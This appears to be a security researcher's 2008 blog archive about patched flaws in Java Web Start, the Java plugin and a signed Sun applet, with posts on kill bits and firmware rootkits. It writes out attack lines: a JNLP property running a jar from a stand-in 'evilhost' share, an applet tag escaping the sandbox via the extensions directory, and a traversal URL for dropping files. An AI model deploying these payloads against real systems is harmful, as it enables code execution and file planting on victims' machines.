Thursday, 17 April 2008

And For My Next Trick...

One of the examples given in the "Attacking Application Logic" chapter of The Web Application Hacker's Handbook is entitled "Escaping from Escaping". The prelude to the attack is that the developer has to pass user-supplied input as a parameter to an OS command. Realising that meta-characters in the user data are dangerous, the dev sets out to escape them. The flaw is quite simply that the dev forgets to escape the escape character, thus the attacker can escape it in order to pass dangerous characters.


Today I'll show a real world example of this attack, a bug I reported to Sun that was recently patched in Sun Alert 233323. Firstly though, some background. Sun released Java Web Start in 2001 as means of one-click deployment of Java applications from the browser (the Java equivalent of .NET's ClickOnce technology). As Web Start applications run outside the browser, they can easily be made available to run offline. The security model enforced on applets still applies to Web Start - unsigned applications cannot interact with the filesystem and access to remote content is subject to the same origin policy.


The architecture of Web Start is interesting. Applications are installed and launched via XML-based JNLP configuration files. JNLP files open with javaws.exe, a native application, whose purpose is to parse the JNLP file and launch javaw.exe (i.e. invoke the JVM) with the correct class.


The JNLP parser has suffered a slew of buffer overflows which I may talk about in a future post. Its also had an argument injection vulnerability, found by Jouko Pynnonen. This could be triggered via the property tag of the JNLP file, which allows certain JVM properties to be set. These properties are passed on the command line to the javaw.exe process. Jouko gave the following example:


<property name="sun.java2d.noddraw" value="true HELLO" />


The property "sun.java2d.noddraw" is considered secure by Web Start (there's a list of the permitted properties in the spec); ultimately the startup command for the application became something like:


javaw.exe -Dsun.java2d.noddraw=true HELLO (other args) your.application


This issue was fixed way back in September 2004 by quoting the input and escaping the double quote character. But guess what wasn't escaped? By inserting an addition "/" into the argument, we can gobble up the escape character allowing us to insert an additional double quote, and thereby pass arbitrary arguments as before.


This vulnerability can be exploited in several ways. Perhaps the easiest is to create an SMB share with null credentials containing the payload Jar file, then reference it as follows in the JNLP:


<property name='http.agent' value='\" -jar \\evilhost\share\exploit.jar \"'/>


The resulting command line effectively boils down to: java -jar \\evilhost\share\exploit.jar with the rest of the line passed as arguments (which our payload can just ignore):


Arg 0: \
Arg 1: -Djnlpx.splashport=4741
Arg 2: -Djnlpx.jvm="C:\Program Files\Java\jre1.6.0_02\bin\javaw.exe"
Arg 3: com.sun.javaws.Main
Arg 4: C:\DOCUME~1\John\LOCALS~1\Temp\javaws114


Of course, this technique may not work if outbound SMB is blocked by a personal or corporate firewall (which is pretty likely these days). I will leave the other techniques for exploiting this as an exercise for the reader :) [Hint: explore ways of caching various type of content via the Java browser plugin]


So what lessons should we take from this affair?


For security researchers:


  • It's worth revisiting patches with the mentality that new code = new bugs. I am as guilty as anyone of not doing this - you send a bug off to a vendor, a while later they fix it and ship a patch, by then you're working on something completely different. History has shown us time and time again it can take more than one attempt to fix a bug (and that other bugs in nearby code may be missed if the code is not scrubbed).


For software vendors:


  • When a vulnerability report comes in, understand fully how the attacks work and review your fixes with a critical eye. Fixing code is an iterative process and should be done from both perspectives: defender and attacker (asking yourself at every step of the way, what new avenues of attacks have we just opened up?) For an example of a bug that dragged on way longer than it should have (due to flaws in the fixes) check out the section on the ExtProc saga in The Database Hacker's Handbook.


Anyway, this is just one of many Java flaws I will be discussing during my ToorCon talk this weekend. If you're not going to be there and you'd like a copy of my slides, drop me a note.


Cheers


John

Tuesday, 8 April 2008

Third Party Kill Bits

[Update: I was wrong... It seems Microsoft has previously released kill bits for for third party software. Thanks to Edi and David for notifying me of this; I've updated this post accordingly.]


Just a quick post today. Its the second Tuesday of the month which means its Patch Tuesday. Browsing over the bulletins, there are some interesting ones as always, but MS08-023 caught my eye in particular:


This update includes kill bits that will prevent the following ActiveX controls from being run in Internet Explorer:


Yahoo! has released a security bulletin and an update that addresses the vulnerability in Yahoo! Music Jukebox. Please see the security bulletin from Yahoo! for more information and download locations. This kill bit is being set at the request of the owner of the ActiveX control. The class identifiers (CLSIDs) for this ActiveX control are:


• {5f810afc-bb5f-4416-be63-e01dd117bd6c}


• {22fd7c0a-850c-4a53-9821-0b0915c96139}


Firstly, a recap. A kill bit is a registry setting that prevents an ActiveX control from being instantiated in Internet Explorer. Microsoft have used kill bits extensively over the last few years to mitigate security issues in their own controls; these have been pushed out via Windows Update. Other software vendors have also used kill bits but have had no unified means of pushing out updates. This has lead to a plethora of systray applications running constantly, checking for security updates. As annoying as these can be, the alternative, that the end user must periodically go and check for new updates is not a secure, scalable solution.


To my knowledge, Microsoft hasn't previously provided kill bits over Windows Update for third party controls that do not come bundled with the OS [not true, read this footnote]. This one is for Yahoo! Music Jukebox, and the Microsoft bulletin even links to the Yahoo! Bulletin.


Personally I think its a great idea for third parties to be able to have their kill bits pushed out over Windows Update. That said, I'd be interested in hearing some of the logistics of how this update came about - I'm hoping the Microsoft Security Response team will talk about this in the future. Some of the things I'm wondering are:


  • What is the process for a third party to request that Microsoft kill bit a control?

  • Can any company request their controls be kill bit-ted?

  • If not, what are the criteria?

  • How does Microsoft verify the company is who it says it is, and has permission to kill bit the control?

Anyway, thats it for now. I'll be continuing my analysis of last month's JRE vulnerabilities in a new post later this week.



Cheers

John


Important footnote: It turns out Microsoft has released third party kill bits as hotfixes on at least two previous occasions. MS06-067 provided kill bits for WinZip 10, fixing the CreateNewFolderFromName() issue and
MS07-027 did the same for Acer and RIM vulnerabilities. I suspect there are others in previous bulletins too. I would still be interested to hear how these companies went about coordinating the update with Microsoft though.

Thursday, 27 March 2008

Wake up and Smell the Coffee @ ToorCon

On April 19th I'm presenting at ToorCon in Seattle. My talk ("Wake up and smell the coffee: design flaws in the Java browser plugin") will be focused on some of the more interesting Java bugs I've found over the last few months, and how these can be exploited cross-browser, cross-platform and cross-architecture (making Java one of the scariest browser plugins there is, in my opinion). I haven't presented at ToorCon before (nor attended one for that matter) so I'm looking forward to it.


Of the talks already scheduled, several have caught my eye, including Richard Johnson's "Fast n Furious Transforms". Fourier Transforms and I were never the best of friends during my undergrad engineering degree but I always have time for cross-discipline approaches in security and Rich has given some great talks in the past (slides for which can be found here) so I will definitely be checking this one out.


I also noted that Adam Shostack is giving a talk entitled "SDL Threat Modeling: Past, Present and Future". Never was a truer word written than in the first line of his abstract: "Everyone thinks threat modeling is great, and then they encounter a formalized threat modeling process." I am looking forward to hearing his thoughts on the evolution of the SDL.


And finally, I'll get to see Nate McFeters discuss "URI Use and Abuse". Protocol handlers have provided a rich seam of vulnerabilities over the last few years and I hear Nate will be showing that things are likely to stay this way for a good while yet.


Anyway, if you're planning to go to ToorCon, drop me a line.




Cheers


John

Tuesday, 18 March 2008

Defeating the Same Origin Policy: Part II

In my last post I gave details of how unsigned applets could bypass the same origin policy in order to make arbitrary network connections; the Sun alert for this issue is here. In this post I'll wrap up my discussion of this bug, showing how it can be used to compromise the host.


Bypassing the Java same origin policy is dangerous in itself - not only could a malicious applet port scan the internal network of the host that instantiates it - it could also interact with and exploit the services it finds. However, in most cases, bypassing the same origin policy (at least in the browser) does not obviously lead to a direct compromise of the host. This particular flaw is different.


Extensions in Java are groups of packages and classes that augment the runtime classes. Extensions are installed into a specified directory and consequently can be located via the JRE without having to explicitly name them on the class path. QuickTime for Java is an example of a Java extension; once installed it enables Java applications to play QuickTime media (and yes, its had its share of security issues).


Moving on... take a look in your java.policy file (located in java.home\lib\security\java.policy) and you'll see where this attack is going. The first entry is most likely:


// Standard extensions get all permissions by default 

grant codeBase "file:${{java.ext.dirs}}/*" {
permission java.security.AllPermission; };


You'll remember from last time that by putting a URL in the code attribute allows an arbitrary codebase to specified. Thus if you use a codebase that references the extensions directory (e.g. "C:\Program Files\java\jre1.6.0_03\lib\ext") the applet is granted java.security.AllPermission. The Java documentation doesn't beat around the bush:


Granting AllPermission should be done with extreme care, as it implies all other permissions. Thus, it grants code the ability to run with security disabled. Extreme caution should be taken before granting such a permission to code. This permission should be used only during testing, or in extremely rare cases where an application or applet is completely trusted and adding the necessary permissions to the policy is prohibitively cumbersome.


The only thing left to do is come up with a reliable means of obtaining the path to the "JREx.y._zw\lib\ext" folder. The JRE version can be determined via querying the java.version property from a "bootstrapper" applet. Its probably safe to assume that on Windows platforms the JRE folder resides within the "Program Files\java" folder. As for the drive letter, the browser plugin prevents reading any properties that contain a path (so this rules out using java.home, java.class.path, user.name, user.home and user.dir). You could of course take a guess; "c:" is a pretty good candidate. There is one Windows-specific property, however, that can be read from an unsigned applet and that discloses a full path. The Windows Desktop Properties expose a win.xpstyle.dllName property that can be read as follows:


String dllName = (String)Toolkit.getDefaultToolkit().getDesktopProperty("win.xpstyle.dllName");


On my test box this returns "E:\WINDOWS\Resources\themes\Luna\Luna.msstyles".


So to conclude, the applet tag (which could obviously be generated dynamically) ends up looking like:


<APPLET code="http://2130706433/foo" codebase="file:E:\Program Files\java\jre1.6.0_03\lib\ext"/>


As for a payload, an applet with AllPermission can call Runtime.getRuntime().exec or System.loadLibrary to go straight to native code, fully compromising the browser.



Cheers

John

Wednesday, 12 March 2008

Defeating the Same Origin Policy: Part I

So last week Sun released updated versions of the Java Runtime Environment and with them, a host of Sun Alerts. These are neatly summarised on the Sun Security blog. Over the next few posts I am going to discuss the issues that I had a hand in reporting.


The first one I'm going to tackle is Sun Alert 233324, "A Security Vulnerability in the Java Plug-in May Allow an Untrusted Applet to Elevate Privileges"; NGS advisory is here. Your first thought might be that we achieve the elevation of privilege through a buffer overflow - I blogged on buffer overflows in the JRE a while back and if you read over the alerts Sun published last week, you'll see Java Web Start had several overflows fixed (I'll be discussing Sun Alert 233323, "Multiple Security Vulnerabilities in Java Web Start May Allow an Untrusted Application to Elevate Privileges" at a later date). However, if you read the brief description of this bug you'll see its a little more intriguing:


A security vulnerability in the Java Plug-in may allow an applet that is downloaded from a website to bypass the same origin policy and leverage this flaw to execute local applications that are accessible to the user running the untrusted applet.


I'm going to split the analysis of this issue into two parts. In this post I'm going to cover "bypassing the same origin policy"; in the next post I'm going to cover "leveraging this flaw to execute local applications". If anyone figures out the second part before I post it, add a comment or send me an email :)


So, part one, bypassing the same origin policy. The same origin policy effectively underpins browser security. It means that resources loaded from one origin cannot get or set properties of a resource from a different origin. The web app sec guys are always going on about this and coming up with new ways of bypassing the restriction. I find this research interesting but give me a browser 0day anyday (so its kinda ironic that I'm posting on it!). In the same way that client-side scripting languages enforce the same origin policy, Java implements a sandbox to limit network connectivity in untrusted applets. This is documented in the Java Security FAQ.


In a nutshell, unsigned applets are not allowed to open network connections to any host, except for the host that provided the .class files (either the host where the HTML page came from, or the host specified in the codebase parameter in the applet tag, with codebase taking precendence). Quite simply, if we try to create a connection to foo.com from an applet that did not originate from the machine foo.com, it will fail with a security exception.*


Applets are instantiated via the <APPLET> or <OBJECT> HTML tag. Both the code and codebase attributes/parameters must be set e.g. <APPLET code="foo" codebase="http://bar"/> will cause foo.class to be loaded from http://bar. The code that loads the class creates a URL object via the following constructor:


public URL(URL context,
String spec)
throws MalformedURLException


This constructor has an interesting property, namely:


If the authority component is present in the spec then the spec is treated as absolute and the spec authority and path will replace the context authority and path. If the authority component is absent in the spec then the authority of the new URL will be inherited from the context.


This effectively means that executing:


URL url1 = new URL("http://baz");
URL url2 = new URL(url1, "http://bar");


returns us url2 representing http://bar. So what happens if we instantiate an applet as follows:


<APPLET code="http://baz/foo" codebase="http://bar" />


Though the answer is probably obvious by now, we can use JSwat, the GUI Java debugger frontend, to confirm things.


Briefly, the steps are:


  • Configure JSwat for applet debugging (its easiest to specify "suspend=y" so the debugger doesn't run away).

  • Set a breakpoint on the URL constructor and hit go. The breakpoint will fire quite a few times (we could set a conditional breakpoint to avoid this); we can view the parameters to the constructor via the Variables pane.

  • Eventually we should see the java.net.URL parameter holding the specified applet codebase (http://bar) and the java.lang.String parameter holding the specified code attribute (http://baz/foo). The screenshot below illustrates this for my internal PoC; the codebase was http://www.google.com and the code parameter was http://2130706433/connect (the reason for using 2130706433 will be explained shortly).


JSwat... it swats bugs.


So now we can definitively answer the question: it will load foo from baz but report the codebase as bar. We've defeated the same origin policy; our applet can connect to bar even though it was loaded from baz.


Of course, the devil is in the detail... there are some complications to get this attack working. Firstly, if we specify a code parameter containing a '.', e.g.:


<APPLET code="http://baz.com/foo" codebase="http://bar" />


then an internal canonicalisation routine is triggered, converting '/' characters into '.' so we end up with a URL looking like "http:..baz.com.foo" and the attack fails. The easiest way round this limitation is to use the decimal representation of an IP address, as is apparently common with spammers. If you're too lazy to do the maths, there's an online converter here. So our code parameter will look like:


<APPLET code="http://2130706433/foo" codebase="http://bar" />


The final complication is that the Java plugin loads foo.class expecting to find a class called "http://2130706433/foo". This is easy to solve - we compile our class with a class name of "aaaaaaaaaaaaaaaaaaaaa" and use a hex editor to replace this string with "http://2130706433/foo" (the compiler doesn't like it but the JVM will load it).


That concludes the first post on this issue. Next time I'll cover using the same origin bypass to escape the sandbox.




Cheers

John




* A while back I posted an advisory on another same origin bypass that allowed an applet loaded from a remote location to connect to localhost, thereby allowing it to attack local services.

Thursday, 28 February 2008

Repurposing Attacks Against Java Applets

If you read my review of the Web Application Hacker's Handbook you may remember I made the following point:


The authors talk about repurposing ActiveX controls but do not mention that this also applies to signed Java applets, which can also expose dangerous methods in exactly the same way.


In this post I'm going to discuss a security flaw in a Java applet signed by Sun Microsystems. The vulnerability lets us drop an arbitrary file to an arbitrary location on the file system on Windows platforms, subject to the user's permissions and, if in IE7, depending on whether Protected Mode is on or not. The applet in question has been updated to fix this issue and the NGS advisory is here.


Before I talk about the applet itself, lets take a brief look at the components of a signed JAR:


  • A signed Java applet consists of a JAR file (a zip archive) containing the application class files, a manifest, one or more signature files and a signature block.

  • The manifest holds a list of files in the JAR that have been signed and a corresponding digest for each file, typically SHA1.

  • A signature file consists of a main section which includes information supplied by the signer but not specific to any particular jar file entry, followed by a list of individual entries whose name must also be present in the manifest file. Each individual entry must contain at least the digest of the corresponding entry in the manifest file.

  • The signature block contains the binary signature of the signature file and all public certificates needed for verification.

For anyone interested in the verification process, this paragraph from the Java Plug-in Developer's Guide gives a good description. In practice, the user is presented a dialog like this:



Contrast this to the dialog box that IE7 presents when installing a new ActiveX control (and note that I clicked for "more options" to show the always install/never install options):



The difference from a security perspective, is obvious*: Sun want you to always trust the publisher, Microsoft want to ask you every time. For anyone wondering if you only see this behaviour with Sun-signed applets, this is the default behaviour for all signed applets (don't believe me? Go check out the Hushmail applet). It is worth noting, however, that the checkbox is only ticked if the certificate chain verifies all the way up to a trusted Root CA certificate. If the certificate has expired, or is self-signed the checkbox will not be ticked.


This is a pretty interesting design decision. If you click "Run" in the Java dialog box above, you're allowing all existing and future applets signed by the same publisher (strictly the same certificate) to automatically run regardless of the website they are loaded from and the parameters they are instantiated with. So even if you have some level of confidence in the applet that you are about to run, if the publisher produced a buggy applet and signed it with the same certificate, a malicious website can repurpose it and silently use it against you. Scary, huh? This is one of those useability vs. security trade-offs**. Even if the applet is cached on your machine, if the certificate is not in the trusted store, you will be prompted every time its instantiated. If you're the IT manager of a large corporation and your Intranet homepage has a signed applet, you probably don't want your users to see a security warning everytime they open a browser.


Now for the actual vulnerability... The JNLPAppletLauncher is a "general purpose JNLP-based applet launcher class for deploying applets that use extension libraries containing native code." What this means is an unsigned applet that requires a signed native code extension such as Java 3D can be launched via invoking the JNLPAppletLauncher and passing it a JNLP file that references both the original applet and the extension. There are some demos here; FourByFour is a great example of Java 3D in the browser (though tic-tac-toe on a 4x4x4 cube... its not exactly Guitar Hero III).


The JNLPAppletLauncher had a simple directory traversal flaw exploitable on Windows platforms. The applet reads extensions from the JNLP file, whose location is passed as a parameter during the applet instantiation. The extension path is examined for the parent path sequence "../". On Windows of course, this is insufficient - the failure to check for "..\" ultimately allows us to drop an arbitrary file on the file system. The extension path is concatenated to the base URL so we end up with something like:


http://attackerdomain/..\..\..\..\..\..\windows\system32\file.dll


If you're thinking this is an invalid URL, you're right. You'll need a hacked up web server to honour it, or at least the ability to modify the httpd.conf on an Apache server. A request for a file below the web root will cause Apache to generate an HTTP 400 (Bad Request). We can translate this into an HTTP 302 (Redirect) via the ErrorDocument directive. The applet will follow the redirection and download the content to the path "..\..\..\..\..\..\windows\system32\file.dll".


Sun have now fixed this issue so the applet you can retrieve from https://applet-launcher.dev.java.net is no longer vulnerable. Since the JAR is not an officially supported product, there will be no Sun Alert released. And given the prerequisites for this attack (you have to coerce a user into visiting a malicious web site then have the user agree to run the control [unless of course they have trusted Sun as a publisher] then you need a hacked up web server), I do not consider this issue to be especially serious. That said, its worth checking your Java trusted certificate store to see exactly which publishers you currently trust. You can get to this via the Java Control Panel (C:\Windows\system32\javacpl.cpl):



Anyway I'll be revisiting signed applets in a future post. In the meantime, my advice is beware of always trusting the publisher.




Cheers

John


* Though the dialogs boxes look pretty similar and present the same information, the bottom panel is used to communicate different messages: Microsoft warn you that the file could harm your computer; Sun tell you that the certificate chains to a trusted root CA certificate (which is redundant, as they've already told us "the application's digital signature has been verified" in the top panel).


** If you want to check out some of the Java community's feedback to this dialog box, check out the comments on Stanley Ho's blog post from 2005, Deployment: Goodbye scary security dialog box!

Wednesday, 20 February 2008

Thoughts on Firmware Rootkits

Over the last couple of years I've presented a number of low level attacks aimed at demonstrating off-disk rootkit persistence in firmware.


Vulnerability research into hardware typically has a high barrier to entry; development boards and hardware debuggers are expensive and specs are often unfathomable or hundreds of pages long (or both). That said, tools like Bochs (an open source IA-32 emulator with integrated debugger allowing you to debug the VM from the first very instruction) and the MindShare books are great resources.


So why go to the effort of hacking hardware? Well I believe its a fruitful research area, after all, the OS is only as secure as the hardware its running on and as more and more machines ship with TPMs (and software to make use of them) the need for independent researchers to cast a critical eye over these technologies is greater than ever, especially in light of analyses such as Christiane Rütten's investigation into an encrypted harddrive enclosure (a kind of technical version of the Emperor's New Clothes).


Previously I've focused on the Advanced Configuration and Power Management Interface (ACPI), PCI Option ROMs and the Extensible Firmware Interface (EFI*). The concepts behind most of the attacks I've covered are not new (is there ever anything in security that is truly new?) At the time that I carried out the research, however, I found no practical information on firmware attacks hence I set out to determine how feasible they really were, what they might look like from a defensive perspective and how different hardware and firmware implementations affected things.


So anyway, its been a while since I've released any material in this area but let me assure you there is some on the way. I recently spoke to Deb Radcliff for an article in this month's SC Magazine. The crux of the article is that a modern PC is complex system containing many peripherals devices, each with its own CPU, its own firmware and its own interface to this firmware. If we assume that a given secure boot process will measure all firmware containing instructions for the main CPU, the question is how does it locate and measure the firmware specific to each device? On a system with a TPM and a secure boot process, there is still potential to reflash a device's firmware in order to run a rootkit on the device itself... why run on the main CPU, risking detection, if you can interact with main memory and the I/O space from a peripheral?


You'd be surprised exactly what you can attack from the OS without physical access to the machine. In the article I use smart batteries as an example. There's a good chance that your notebook's battery firmware (data and potentially code) can be updated from the OS. For the incredulous among you, check out the following passage from Atmel’s ATmega406 AVR Microcontroller whitepaper:


The ATmega406 facilitates safe in-field update through self-programming. The ATmega406 CPU can access and write its own program memory. Atmel’s self-programming has true read-while-write capabilities, so critical parts of the battery application can be allowed to remain running while the update is in progress. Since the programming is CPU-initiated, the device is able to receive updates through any supported interface. This means that the SMBUS interface between the PC and battery in effect can be used for in-field updating of the battery. This is by far the most flexible option, as the update can be implemented as a program running on the host PC.


For a more rigorous treatment of trusted computing with untrustworthy devices, I highly recommend Hendricks and van Doorn's paper from 2004, Shoring up the Trusted Computing Base.






Cheers

John




* I'll blog on EFI in a future post. If you've never heard of it or don't know much about it you're probably a Windows XP or Vista user, who as Apple puts it, is "stuck in the 1980s with old-fashioned BIOS" :)